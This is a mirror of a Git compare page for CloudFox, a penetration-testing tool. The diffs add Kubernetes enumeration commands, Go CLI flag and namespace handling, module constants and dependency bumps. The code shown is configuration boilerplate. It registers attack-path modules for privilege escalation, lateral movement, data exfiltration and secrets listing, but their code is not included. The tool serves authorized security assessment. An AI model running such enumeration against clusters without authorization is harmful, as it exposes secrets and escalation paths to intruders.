mirror of
https://github.com/BishopFox/cloudfox.git
synced 2026-11-07 09:56:01 -10:00
Compare commits
70
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
79989c659d | ||
|
|
0bd2748b8b | ||
|
|
142757b5c2 | ||
|
|
146034d619 | ||
|
|
9e056b29d7 | ||
|
|
871491738b | ||
|
|
033c953d57 | ||
|
|
5ea2f8618f | ||
|
|
9689de900b | ||
|
|
e74b6e0e00 | ||
|
|
3551ed2f75 | ||
|
|
4838700d81 | ||
|
|
98f6eda041 | ||
|
|
780290089e | ||
|
|
5925557f2c | ||
|
|
fb66034132 | ||
|
|
e45ea2a327 | ||
|
|
a80b385e28 | ||
|
|
e57d8673e7 | ||
|
|
200f746344 | ||
|
|
5bcd695f5b | ||
|
|
72bcd37b3d | ||
|
|
21ca9f1706 | ||
|
|
cfebe0b263 | ||
|
|
b79b7febf4 | ||
|
|
ecb6afef8a | ||
|
|
60cac6392e | ||
|
|
a785268868 | ||
|
|
78708cf1bb | ||
|
|
75e15364db | ||
|
|
5ec7447d9f | ||
|
|
7d88998182 | ||
|
|
f6c3367952 | ||
|
|
46969bb0af | ||
|
|
0323f9e1b0 | ||
|
|
7076cd9976 | ||
|
|
48965fff98 | ||
|
|
b00f170c51 | ||
|
|
91b1410a0b | ||
|
|
205da34ef1 | ||
|
|
2cb628e70a | ||
|
|
0c331fe3ac | ||
|
|
82a585ca98 | ||
|
|
714752ae1a | ||
|
|
e89ca297c3 | ||
|
|
eb79bb3aa1 | ||
|
|
472a70dd2a | ||
|
|
1a41f0736f | ||
|
|
4b0005bc84 | ||
|
|
9ef3a4f539 | ||
|
|
81318db7b9 | ||
|
|
edf9a6daf5 | ||
|
|
8a2ac10552 | ||
|
|
cfc2d29839 | ||
|
|
2e48724182 | ||
|
|
0378d9da71 | ||
|
|
6b081fde18 | ||
|
|
3f19a15b4f | ||
|
|
9260aa25c4 | ||
|
|
1435271ce2 | ||
|
|
a415555420 | ||
|
|
80d605d67d | ||
|
|
5f4b11b75b | ||
|
|
e751db8e31 | ||
|
|
710f90995d | ||
|
|
1b6e8b2cf7 | ||
|
|
0166621fde | ||
|
|
8f53c9320b | ||
|
|
511cb3d4f6 | ||
|
|
6141efe35c |
No files matched your search
@@ -68,6 +68,8 @@ output/*
|
||||
*cloudfox-output*
|
||||
cloudfox-*
|
||||
cloudfox
|
||||
cloudfox-macos
|
||||
cloudfox-linux
|
||||
*.log
|
||||
*.bak
|
||||
*.txt
|
||||
|
||||
@@ -55,7 +55,7 @@ For the full documentation please refer to our [wiki](https://github.com/BishopF
|
||||
| AWS | 34 |
|
||||
| Azure | 4 |
|
||||
| GCP | 60 |
|
||||
| Kubernetes | Support Planned |
|
||||
| Kubernetes | 23 |
|
||||
|
||||
|
||||
# Install
|
||||
@@ -154,6 +154,9 @@ For thorough security assessments across an entire organization:
|
||||
|
||||
For detailed setup instructions, see the [GCP Setup Guide](https://github.com/BishopFox/cloudfox/wiki/GCP-Setup-Guide).
|
||||
|
||||
### Kubernetes
|
||||
* `Get` and `List` on all (`*`) resources
|
||||
|
||||
# AWS Commands
|
||||
| Provider | Command Name | Description
|
||||
| - | - | - |
|
||||
@@ -276,6 +279,41 @@ For detailed documentation on each GCP command, see the [GCP Commands Wiki](http
|
||||
| GCP | [spanner-enum](https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#spanner-enum) | Scan Spanner database schemas for sensitive table and column names |
|
||||
|
||||
|
||||
# Kubernetes Commands
|
||||
|
||||
`cloudfox kubernetes --help`
|
||||
|
||||
or
|
||||
|
||||
`cloudfox k8s --help`
|
||||
|
||||
| Provider | Command Name | Description
|
||||
| - | - | - |
|
||||
| k8s | [whoami](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#whoami) | Display the identity the kubeconfig, ServiceAccount token, or in-cluster credentials are authenticated as |
|
||||
| k8s | [all-checks](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#all-checks) | Executes all available Kubernetes commands to collect and display information from the cluster |
|
||||
| k8s | [configmaps](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#configmaps) | List all cluster ConfigMaps and detailed information |
|
||||
| k8s | [cronjobs](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#cronjobs) | List all cluster CronJobs |
|
||||
| k8s | [daemonsets](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#daemonsets) | List all cluster DaemonSets |
|
||||
| k8s | [deployments](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#deployments) | List all cluster Deployments |
|
||||
| k8s | [endpoints](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#endpoints) | List all cluster Endpoints |
|
||||
| k8s | [hidden-admins](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#hidden-admins) | Enumerate roles, users, groups, and service accounts with dangerous or escalatory permissions |
|
||||
| k8s | [jobs](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#jobs) | List all cluster Jobs |
|
||||
| k8s | [namespaces](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#namespaces) | List all cluster Namespaces
|
||||
| k8s | [network-exposure](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#network-exposure) | Enumerate exposed network hosts and ports
|
||||
| k8s | [network-policy](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#network-policy) | List all cluster Network Policies
|
||||
| k8s | [nodes](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#nodes) | List all cluster Nodes
|
||||
| k8s | [permissions](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#permissions) | List all cluster entities and their respective permissions
|
||||
| k8s | [pod-security](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#pod-security) | List all cluster Pod Security Policies or Admission settings
|
||||
| k8s | [pods](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#pods) | List all cluster Pods
|
||||
| k8s | [replicasets](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#replicasets) | List all cluster ReplicaSets
|
||||
| k8s | [secrets](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#secrets) | List all cluster Secrets
|
||||
| k8s | [services](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#services) | List all cluster Services
|
||||
| k8s | [statefulsets](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#statefulsets) | List all cluster StatefulSets
|
||||
| k8s | [taints-tolerations](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#taints-tolerations) | Displays for each pod which node taints it tolerates and lists taints on nodes that are not tolerated by any pods
|
||||
| k8s | [taints](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#taints) | List all cluster node taints and outputs an example YAML file with node and tolerations to create a pod
|
||||
| k8s | [tolerations](https://github.com/BishopFox/cloudfox/wiki/k8s-Commands#tolerations) | List all cluster pod tolerations and outputs an example YAML file with tolerations to create a pod
|
||||
|
||||
|
||||
|
||||
# Authors
|
||||
* [Carlos Vendramini](https://github.com/carlosvendramini-bf)
|
||||
|
||||
@@ -0,0 +1,365 @@
|
||||
package cli
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
k8sinternal "github.com/BishopFox/cloudfox/internal/kubernetes"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/commands"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/config"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/sdk"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/shared"
|
||||
"github.com/spf13/cobra"
|
||||
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
|
||||
)
|
||||
|
||||
var (
|
||||
// K8s auth options
|
||||
K8sToken string
|
||||
K8sContext string
|
||||
K8sKubeConfig string
|
||||
K8sAPIServer string
|
||||
K8sClusterName string
|
||||
|
||||
// Namespace filtering options
|
||||
K8sNamespaceFlag string // Comma-delimited list of namespaces
|
||||
K8sNamespaceListFile string
|
||||
K8sAllNamespaces bool
|
||||
|
||||
// Output formatting options
|
||||
K8sOutputFormat string
|
||||
K8sOutputDirectory string
|
||||
K8sVerbosity int
|
||||
K8sWrapTable bool
|
||||
K8sTimeout int // API timeout in seconds
|
||||
// K8sMergedTable bool
|
||||
|
||||
// Cloud provider configuration (for network-exposure correlation)
|
||||
K8sCloudProvider string // Comma-separated list: aws,gcp,azure
|
||||
K8sAWSProfile string
|
||||
K8sAzureSubscription string
|
||||
K8sGCPProject string
|
||||
|
||||
// Admission controller filtering for lazy CRD discovery
|
||||
K8sAdmissionControllers string // Comma-separated list or "all"
|
||||
|
||||
// Detailed output flag
|
||||
K8sDetailed bool
|
||||
|
||||
// logger
|
||||
logger = internal.NewLogger()
|
||||
|
||||
K8sCommands = &cobra.Command{
|
||||
Use: "kubernetes",
|
||||
Aliases: []string{"k8s"},
|
||||
Long: `See "Available Commands" for Kubernetes Modules below`,
|
||||
Short: "See \"Available Commands\" for Kubernetes Modules below",
|
||||
|
||||
PersistentPreRun: func(cmd *cobra.Command, args []string) {
|
||||
// Only init config if the command isn't just asking for help
|
||||
if !cmd.HasSubCommands() || cmd.CalledAs() == "all-checks" {
|
||||
config.InitConfig(K8sKubeConfig, K8sContext, K8sToken, K8sAPIServer)
|
||||
|
||||
clientset := config.GetClientOrExit()
|
||||
// If user passed --cluster-name, use that. Otherwise, detect it.
|
||||
if K8sClusterName != "" {
|
||||
globals.ClusterName = K8sClusterName
|
||||
} else {
|
||||
// Suppress stderr during cluster name detection to hide noisy auth plugin output
|
||||
restoreStderr := sdk.SuppressStderr()
|
||||
globals.ClusterName = k8sinternal.GetClusterName(clientset)
|
||||
restoreStderr()
|
||||
}
|
||||
|
||||
// Handle namespace filtering
|
||||
ctx, cancel := shared.ContextWithTimeout()
|
||||
defer cancel()
|
||||
|
||||
if K8sNamespaceFlag != "" {
|
||||
// Comma-delimited namespace list specified
|
||||
rawNamespaces := strings.Split(K8sNamespaceFlag, ",")
|
||||
for _, ns := range rawNamespaces {
|
||||
ns = strings.TrimSpace(ns)
|
||||
if ns != "" {
|
||||
globals.K8sNamespaces = append(globals.K8sNamespaces, ns)
|
||||
}
|
||||
}
|
||||
if len(globals.K8sNamespaces) == 1 {
|
||||
globals.K8sNamespace = globals.K8sNamespaces[0]
|
||||
}
|
||||
globals.K8sAllNamespaces = false
|
||||
logger.InfoM(fmt.Sprintf("Targeting %d namespace(s): %s", len(globals.K8sNamespaces), strings.Join(globals.K8sNamespaces, ", ")), "kubernetes")
|
||||
} else if K8sNamespaceListFile != "" {
|
||||
// Load namespaces from file
|
||||
rawNamespaces := internal.LoadFileLinesIntoArray(K8sNamespaceListFile)
|
||||
globals.K8sNamespaces = deduplicateNamespaces(rawNamespaces)
|
||||
globals.K8sAllNamespaces = false
|
||||
logger.InfoM(fmt.Sprintf("Targeting %d namespace(s) from file", len(globals.K8sNamespaces)), "kubernetes")
|
||||
} else if K8sAllNamespaces {
|
||||
// Discover all namespaces
|
||||
namespaces, err := clientset.CoreV1().Namespaces().List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Failed to list namespaces: %v", err), "kubernetes")
|
||||
} else {
|
||||
for _, ns := range namespaces.Items {
|
||||
globals.K8sNamespaces = append(globals.K8sNamespaces, ns.Name)
|
||||
}
|
||||
}
|
||||
globals.K8sAllNamespaces = true
|
||||
logger.InfoM(fmt.Sprintf("Targeting all %d namespace(s)", len(globals.K8sNamespaces)), "kubernetes")
|
||||
} else {
|
||||
// Default: all namespaces
|
||||
namespaces, err := clientset.CoreV1().Namespaces().List(ctx, metav1.ListOptions{})
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Failed to list namespaces: %v", err), "kubernetes")
|
||||
} else {
|
||||
for _, ns := range namespaces.Items {
|
||||
globals.K8sNamespaces = append(globals.K8sNamespaces, ns.Name)
|
||||
}
|
||||
}
|
||||
globals.K8sAllNamespaces = true
|
||||
}
|
||||
|
||||
// Store cloud provider configuration in globals for network-exposure command
|
||||
// Parse --cloud-provider flag (comma-separated: aws,gcp,azure)
|
||||
if K8sCloudProvider != "" {
|
||||
providers := strings.Split(K8sCloudProvider, ",")
|
||||
for _, p := range providers {
|
||||
p = strings.TrimSpace(strings.ToLower(p))
|
||||
if p == "aws" || p == "gcp" || p == "azure" || p == "az" {
|
||||
// Normalize "az" to "azure"
|
||||
if p == "az" {
|
||||
p = "azure"
|
||||
}
|
||||
globals.K8sCloudProviders = append(globals.K8sCloudProviders, p)
|
||||
}
|
||||
}
|
||||
}
|
||||
globals.K8sAWSProfile = K8sAWSProfile
|
||||
|
||||
// Parse --azure-subscription (comma-separated)
|
||||
if K8sAzureSubscription != "" {
|
||||
for _, sub := range strings.Split(K8sAzureSubscription, ",") {
|
||||
sub = strings.TrimSpace(sub)
|
||||
if sub != "" {
|
||||
globals.K8sAzureSubscriptions = append(globals.K8sAzureSubscriptions, sub)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Parse --gcp-project (comma-separated)
|
||||
if K8sGCPProject != "" {
|
||||
for _, proj := range strings.Split(K8sGCPProject, ",") {
|
||||
proj = strings.TrimSpace(proj)
|
||||
if proj != "" {
|
||||
globals.K8sGCPProjects = append(globals.K8sGCPProjects, proj)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Set timeout
|
||||
globals.K8sTimeout = K8sTimeout
|
||||
|
||||
// Set detailed output flag
|
||||
globals.K8sDetailed = K8sDetailed
|
||||
|
||||
// Parse --admission-controllers flag
|
||||
if K8sAdmissionControllers != "" {
|
||||
if strings.ToLower(K8sAdmissionControllers) == "all" {
|
||||
// "all" means check everything (empty slice = no filter)
|
||||
globals.K8sAdmissionControllers = nil
|
||||
} else {
|
||||
for _, ctrl := range strings.Split(K8sAdmissionControllers, ",") {
|
||||
ctrl = strings.TrimSpace(strings.ToLower(ctrl))
|
||||
if ctrl != "" {
|
||||
globals.K8sAdmissionControllers = append(globals.K8sAdmissionControllers, ctrl)
|
||||
}
|
||||
}
|
||||
if len(globals.K8sAdmissionControllers) > 0 {
|
||||
logger.InfoM(fmt.Sprintf("Filtering admission checks to: %s", strings.Join(globals.K8sAdmissionControllers, ", ")), "kubernetes")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
cmd.Help()
|
||||
},
|
||||
}
|
||||
)
|
||||
|
||||
// deduplicateNamespaces removes duplicates, trims whitespace, and filters empty entries
|
||||
func deduplicateNamespaces(namespaces []string) []string {
|
||||
seen := make(map[string]bool)
|
||||
var result []string
|
||||
duplicateCount := 0
|
||||
|
||||
for _, ns := range namespaces {
|
||||
// Trim whitespace
|
||||
ns = strings.TrimSpace(ns)
|
||||
|
||||
// Skip empty lines
|
||||
if ns == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
// Skip duplicates
|
||||
if seen[ns] {
|
||||
duplicateCount++
|
||||
continue
|
||||
}
|
||||
|
||||
seen[ns] = true
|
||||
result = append(result, ns)
|
||||
}
|
||||
|
||||
if duplicateCount > 0 {
|
||||
logger.InfoM(fmt.Sprintf("Removed %d duplicate namespace(s) from list", duplicateCount), "kubernetes")
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
var K8sAllChecksCommand = &cobra.Command{
|
||||
Use: "all-checks",
|
||||
Short: "Runs all available Kubernetes commands",
|
||||
Long: `Executes all available Kubernetes commands to collect and display information from the cluster.`,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
// Warm the cache before running all modules to avoid redundant API calls
|
||||
ctx, cancel := shared.ContextWithTimeout()
|
||||
defer cancel()
|
||||
clientset := config.GetClientOrExit()
|
||||
|
||||
logger.InfoM("Pre-fetching Kubernetes resources to cache...", "all-checks")
|
||||
if err := sdk.WarmCache(ctx, clientset); err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Cache warming failed (continuing anyway): %v", err), "all-checks")
|
||||
}
|
||||
|
||||
for _, childCmd := range K8sCommands.Commands() {
|
||||
if childCmd == cmd { // Skip the run-all command itself to avoid infinite recursion
|
||||
continue
|
||||
}
|
||||
|
||||
logger.InfoM(fmt.Sprintf("Running command: %s", childCmd.Use), "all-checks")
|
||||
childCmd.Run(cmd, args)
|
||||
}
|
||||
|
||||
// Clear cache after all-checks completes
|
||||
sdk.Flush()
|
||||
},
|
||||
}
|
||||
|
||||
func init() {
|
||||
// Register global flags for Kubernetes module
|
||||
K8sCommands.PersistentFlags().StringVarP(&K8sToken, "token", "t", "", "Service Account Token")
|
||||
K8sCommands.PersistentFlags().StringVarP(&K8sContext, "context", "c", "", "Kube-config context (overrides default kube-config)")
|
||||
K8sCommands.PersistentFlags().StringVarP(&K8sKubeConfig, "kube-config", "k", "", "Path to a kube config file")
|
||||
K8sCommands.PersistentFlags().StringVarP(&K8sAPIServer, "api-server", "s", "", "Kubernetes API server URL (used with --token)")
|
||||
K8sCommands.PersistentFlags().StringVar(&K8sClusterName, "cluster-name", "", "Kubernetes Cluster Name (overrides default cluster name)")
|
||||
|
||||
// Namespace filtering flags
|
||||
K8sCommands.PersistentFlags().StringVarP(&K8sNamespaceFlag, "namespace", "n", "", "Target specific namespace(s) - comma-delimited (e.g., default,kube-system)")
|
||||
K8sCommands.PersistentFlags().StringVarP(&K8sNamespaceListFile, "namespace-list", "N", "", "Path to a file containing a list of namespaces")
|
||||
K8sCommands.PersistentFlags().BoolVarP(&K8sAllNamespaces, "all-namespaces", "A", true, "Target all namespaces (default)")
|
||||
|
||||
//K8sCommands.PersistentFlags().StringVarP(&K8sOutputFormat, "output", "o", "all", "[\"table\" | \"csv\" | \"all\"]")
|
||||
K8sCommands.PersistentFlags().StringVar(&K8sOutputDirectory, "outdir", defaultOutputDir, "Output Directory ")
|
||||
K8sCommands.PersistentFlags().IntVarP(&Verbosity, "verbosity", "v", 2, "1 = Print control messages only\n2 = Print control messages, module output\n3 = Print control messages, module output, and loot file output\n")
|
||||
K8sCommands.PersistentFlags().BoolVarP(&K8sWrapTable, "wrap", "w", false, "Wrap table to fit in terminal (complicates grepping)")
|
||||
K8sCommands.PersistentFlags().IntVar(&K8sTimeout, "timeout", 300, "API timeout in seconds (default: 300s/5min)")
|
||||
// K8sCommands.PersistentFlags().BoolVarP(&K8sMergedTable, "merged-table", "m", false, "Write one table for all namespaces (default: per namespace)")
|
||||
|
||||
// Cloud provider configuration flags (for network-exposure correlation)
|
||||
K8sCommands.PersistentFlags().StringVar(&K8sCloudProvider, "cloud-provider", "", "Enable cloud correlation for specified providers - comma-separated (aws,gcp,azure)")
|
||||
K8sCommands.PersistentFlags().StringVar(&K8sAWSProfile, "aws-profile", "", "AWS profile name (optional, uses default credentials if not specified)")
|
||||
K8sCommands.PersistentFlags().StringVar(&K8sAzureSubscription, "azure-subscription", "", "Azure subscription ID(s) - comma-separated (optional, discovers all if not specified)")
|
||||
K8sCommands.PersistentFlags().StringVar(&K8sGCPProject, "gcp-project", "", "GCP project ID(s) - comma-separated (optional, discovers all if not specified)")
|
||||
|
||||
// Admission controller filtering flag for lazy CRD discovery
|
||||
K8sCommands.PersistentFlags().StringVar(&K8sAdmissionControllers, "admission-controllers", "",
|
||||
"Filter admission modules to only check for specified controllers - comma-separated\n"+
|
||||
"Use 'all' to check all (default behavior). Known controllers:\n"+
|
||||
" Pod/Security: gatekeeper, kyverno, pss, vap\n"+
|
||||
" Runtime: falco, tetragon, kubearmor, tracee, sysdig, prisma, aqua, stackrox, neuvector, crowdstrike\n"+
|
||||
" Image: trivy, harbor, notary, cosign, prisma, aqua, stackrox, anchore\n"+
|
||||
" Network: calico, cilium, istio, linkerd\n"+
|
||||
" Secrets: vault, external-secrets, sealed-secrets\n"+
|
||||
" Certs: cert-manager, venafi\n"+
|
||||
" Other: coredns, opa")
|
||||
|
||||
// Detailed output flag
|
||||
K8sCommands.PersistentFlags().BoolVarP(&K8sDetailed, "detailed", "d", false, "Show detailed output for modules that support it (admission modules, crds)")
|
||||
|
||||
// Add subcommands
|
||||
K8sCommands.AddCommand(
|
||||
// Identity & Access
|
||||
commands.WhoamiCmd,
|
||||
commands.PermissionsCmd,
|
||||
commands.RoleBindingsCmd,
|
||||
commands.ServiceAccountsCmd,
|
||||
commands.HiddenAdminsCmd,
|
||||
commands.CloudIAMCmd,
|
||||
|
||||
// Attack Path Analysis
|
||||
commands.PrivescCmd,
|
||||
commands.LateralMovementCmd,
|
||||
commands.DataExfiltrationCmd,
|
||||
|
||||
// Workloads
|
||||
commands.PodsCmd,
|
||||
commands.DeploymentsCmd,
|
||||
commands.DaemonSetsCmd,
|
||||
commands.StatefulSetsCmd,
|
||||
commands.ReplicaSetsCmd,
|
||||
commands.JobsCmd,
|
||||
commands.CronJobsCmd,
|
||||
|
||||
// Security
|
||||
commands.SecretsCmd,
|
||||
commands.ConfigMapsCmd,
|
||||
commands.PodAdmissionCmd,
|
||||
commands.ImageAdmissionCmd,
|
||||
commands.SecretAdmissionCmd,
|
||||
commands.RuntimeAdmissionCmd,
|
||||
commands.AuditAdmissionCmd,
|
||||
commands.MeshAdmissionCmd,
|
||||
commands.CertAdmissionCmd,
|
||||
commands.MultitenancyAdmissionCmd,
|
||||
commands.DNSAdmissionCmd,
|
||||
commands.WebhooksCmd,
|
||||
commands.CRDsCmd,
|
||||
|
||||
// Networking
|
||||
commands.ServicesCmd,
|
||||
commands.EndpointsCmd,
|
||||
commands.IngressCmd,
|
||||
commands.NetworkAdmissionCmd,
|
||||
commands.NetworkExposureCmd,
|
||||
|
||||
// Storage
|
||||
commands.PersistentVolumesCmd,
|
||||
commands.StorageClassesCmd,
|
||||
|
||||
// Cluster Resources
|
||||
commands.NodesCmd,
|
||||
commands.NamespacesCmd,
|
||||
commands.TaintsCmd,
|
||||
commands.TolerationsCmd,
|
||||
commands.TaintsTolerationsCmd,
|
||||
commands.PriorityClassesCmd,
|
||||
commands.ResourceQuotasCmd,
|
||||
|
||||
// Availability & Scaling
|
||||
commands.PodDisruptionBudgetsCmd,
|
||||
commands.HPAsCmd,
|
||||
|
||||
// Observability
|
||||
commands.EventsCmd,
|
||||
|
||||
// Meta
|
||||
K8sAllChecksCommand,
|
||||
)
|
||||
}
|
||||
@@ -0,0 +1,78 @@
|
||||
package globals
|
||||
|
||||
// Module names
|
||||
const (
|
||||
K8S_CONFIGMAPS_MODULE_NAME string = "configmaps"
|
||||
K8S_CRDS_MODULE_NAME string = "crds"
|
||||
K8S_CRONJOBS_MODULE_NAME string = "cronjobs"
|
||||
K8S_DAEMONSETS_MODULE_NAME string = "daemonsets"
|
||||
K8S_DEPLOYMENTS_MODULE_NAME string = "deployments"
|
||||
K8S_ENDPOINTS_MODULE_NAME string = "endpoints"
|
||||
K8S_EVENTS_MODULE_NAME string = "events"
|
||||
K8S_HIDDEN_ADMINS_MODULE_NAME string = "hidden_admins"
|
||||
K8S_HPAS_MODULE_NAME string = "hpas"
|
||||
K8S_INGRESS_MODULE_NAME string = "ingress"
|
||||
K8S_JOBS_MODULE_NAME string = "jobs"
|
||||
K8S_PERSISTENT_VOLUMES_MODULE_NAME string = "persistent_volumes"
|
||||
K8S_NAMESPACES_MODULE_NAME string = "namespaces"
|
||||
K8S_NETWORK_POLICY_MODULE_NAME string = "network_policy" // Alias for backwards compatibility
|
||||
K8S_NETWORK_ADMISSION_MODULE_NAME string = "network_admission"
|
||||
K8S_NETWORK_PORTS_MODULE_NAME string = "network_ports"
|
||||
K8S_NODES_MODULE_NAME string = "nodes"
|
||||
K8S_PERMISSIONS_MODULE_NAME string = "permissions"
|
||||
K8S_POD_ADMISSION_MODULE_NAME string = "pod_admission"
|
||||
K8S_POD_SECURITY_MODULE_NAME string = "pod_admission" // Alias for backwards compatibility
|
||||
K8S_PODDISRUPTIONBUDGETS_MODULE_NAME string = "poddisruptionbudgets"
|
||||
K8S_PODS_MODULE_NAME string = "pods"
|
||||
K8S_PRIORITYCLASSES_MODULE_NAME string = "priorityclasses"
|
||||
K8S_REPLICASETS_MODULE_NAME string = "replicasets"
|
||||
K8S_RESOURCEQUOTAS_MODULE_NAME string = "resourcequotas"
|
||||
K8S_SECRETS_MODULE_NAME string = "secrets"
|
||||
K8S_SERVICEACCOUNTS_MODULE_NAME string = "serviceaccounts"
|
||||
K8S_SERVICES_MODULE_NAME string = "services"
|
||||
K8S_STATEFULSETS_MODULE_NAME string = "statefulsets"
|
||||
K8S_STORAGECLASSES_MODULE_NAME string = "storageclasses"
|
||||
K8S_TAINTS_TOLERATIONS_MODULE_NAME string = "taints_tolerations"
|
||||
K8S_TAINTS_MODULE_NAME string = "taints"
|
||||
K8S_TOLERATIONS_MODULE_NAME string = "tolerations"
|
||||
K8S_WEBHOOKS_MODULE_NAME string = "webhooks"
|
||||
K8S_WHOAMI_MODULE_NAME string = "whoami"
|
||||
K8S_AUTH_MODULE_NAME string = "auth"
|
||||
K8S_PRIVESC_MODULE_NAME string = "privesc"
|
||||
K8S_LATERAL_MOVEMENT_MODULE_NAME string = "lateral_movement"
|
||||
K8S_DATA_EXFIL_MODULE_NAME string = "data_exfiltration"
|
||||
K8S_ROLEBINDINGS_MODULE_NAME string = "rolebindings"
|
||||
)
|
||||
|
||||
var (
|
||||
KubeConfigPath string = ""
|
||||
KubeContext string = ""
|
||||
KubeToken string = ""
|
||||
KubeAPIServer string = ""
|
||||
RawKubeconfig []byte
|
||||
ClusterName string = ""
|
||||
|
||||
// Namespace filtering
|
||||
K8sNamespace string // Single namespace filter
|
||||
K8sNamespaces []string // List of namespaces to target
|
||||
K8sAllNamespaces bool // Target all namespaces (default)
|
||||
|
||||
// API timeout
|
||||
K8sTimeout int // API timeout in seconds
|
||||
|
||||
// Cloud provider configuration for network exposure correlation
|
||||
K8sCloudProviders []string // List of cloud providers to use (aws, gcp, azure)
|
||||
K8sAWSProfile string // AWS profile name for cloud correlation
|
||||
K8sAzureSubscriptions []string // Azure subscription IDs for cloud correlation (CSV supported)
|
||||
K8sGCPProjects []string // GCP project IDs for cloud correlation (CSV supported)
|
||||
|
||||
// Admission controller filtering for lazy CRD discovery
|
||||
// Supports: "all", or comma-separated list of known controllers
|
||||
// Known controllers: gatekeeper, kyverno, pss, vap, falco, tetragon, prisma, aqua, stackrox,
|
||||
// neuvector, crowdstrike, trivy, harbor, notary, cosign, istio, linkerd,
|
||||
// cert-manager, vault, external-secrets, calico, cilium, coredns, etc.
|
||||
K8sAdmissionControllers []string // List of admission controllers to check for (empty = all)
|
||||
|
||||
// Detailed output flag
|
||||
K8sDetailed bool // Show detailed output for modules that support it
|
||||
)
|
||||
+1
-1
@@ -4,4 +4,4 @@ const CLOUDFOX_USER_AGENT = "cloudfox"
|
||||
const CLOUDFOX_LOG_FILE_DIR_NAME = ".cloudfox"
|
||||
const CLOUDFOX_BASE_DIRECTORY = "cloudfox-output"
|
||||
const LOOT_DIRECTORY_NAME = "loot"
|
||||
const CLOUDFOX_VERSION = "2.0.2"
|
||||
const CLOUDFOX_VERSION = "2.0.3"
|
||||
@@ -1,6 +1,6 @@
|
||||
module github.com/BishopFox/cloudfox
|
||||
|
||||
go 1.24.2
|
||||
go 1.25.9
|
||||
|
||||
require (
|
||||
cloud.google.com/go/artifactregistry v1.18.0
|
||||
@@ -16,7 +16,7 @@ require (
|
||||
github.com/Azure/go-autorest/autorest v0.11.30
|
||||
github.com/Azure/go-autorest/autorest/azure/auth v0.5.13
|
||||
github.com/aquasecurity/table v1.11.0
|
||||
github.com/aws/aws-sdk-go-v2 v1.41.0
|
||||
github.com/aws/aws-sdk-go-v2 v1.41.6
|
||||
github.com/aws/aws-sdk-go-v2/config v1.32.5
|
||||
github.com/aws/aws-sdk-go-v2/credentials v1.19.5
|
||||
github.com/aws/aws-sdk-go-v2/service/apigateway v1.38.3
|
||||
@@ -49,8 +49,8 @@ require (
|
||||
github.com/aws/aws-sdk-go-v2/service/glue v1.135.3
|
||||
github.com/aws/aws-sdk-go-v2/service/grafana v1.32.9
|
||||
github.com/aws/aws-sdk-go-v2/service/iam v1.53.1
|
||||
github.com/aws/aws-sdk-go-v2/service/kinesis v1.42.9
|
||||
github.com/aws/aws-sdk-go-v2/service/lambda v1.87.0
|
||||
github.com/aws/aws-sdk-go-v2/service/kinesis v1.43.5
|
||||
github.com/aws/aws-sdk-go-v2/service/lambda v1.88.5
|
||||
github.com/aws/aws-sdk-go-v2/service/lightsail v1.50.10
|
||||
github.com/aws/aws-sdk-go-v2/service/mq v1.34.14
|
||||
github.com/aws/aws-sdk-go-v2/service/opensearch v1.56.0
|
||||
@@ -60,7 +60,7 @@ require (
|
||||
github.com/aws/aws-sdk-go-v2/service/redshift v1.61.4
|
||||
github.com/aws/aws-sdk-go-v2/service/resourcegroupstaggingapi v1.31.5
|
||||
github.com/aws/aws-sdk-go-v2/service/route53 v1.62.0
|
||||
github.com/aws/aws-sdk-go-v2/service/s3 v1.93.2
|
||||
github.com/aws/aws-sdk-go-v2/service/s3 v1.97.3
|
||||
github.com/aws/aws-sdk-go-v2/service/sagemaker v1.228.2
|
||||
github.com/aws/aws-sdk-go-v2/service/secretsmanager v1.41.0
|
||||
github.com/aws/aws-sdk-go-v2/service/sfn v1.40.5
|
||||
@@ -68,7 +68,7 @@ require (
|
||||
github.com/aws/aws-sdk-go-v2/service/sqs v1.42.20
|
||||
github.com/aws/aws-sdk-go-v2/service/ssm v1.67.7
|
||||
github.com/aws/aws-sdk-go-v2/service/sts v1.41.5
|
||||
github.com/aws/smithy-go v1.24.0
|
||||
github.com/aws/smithy-go v1.25.0
|
||||
github.com/bishopfox/awsservicemap v1.1.0
|
||||
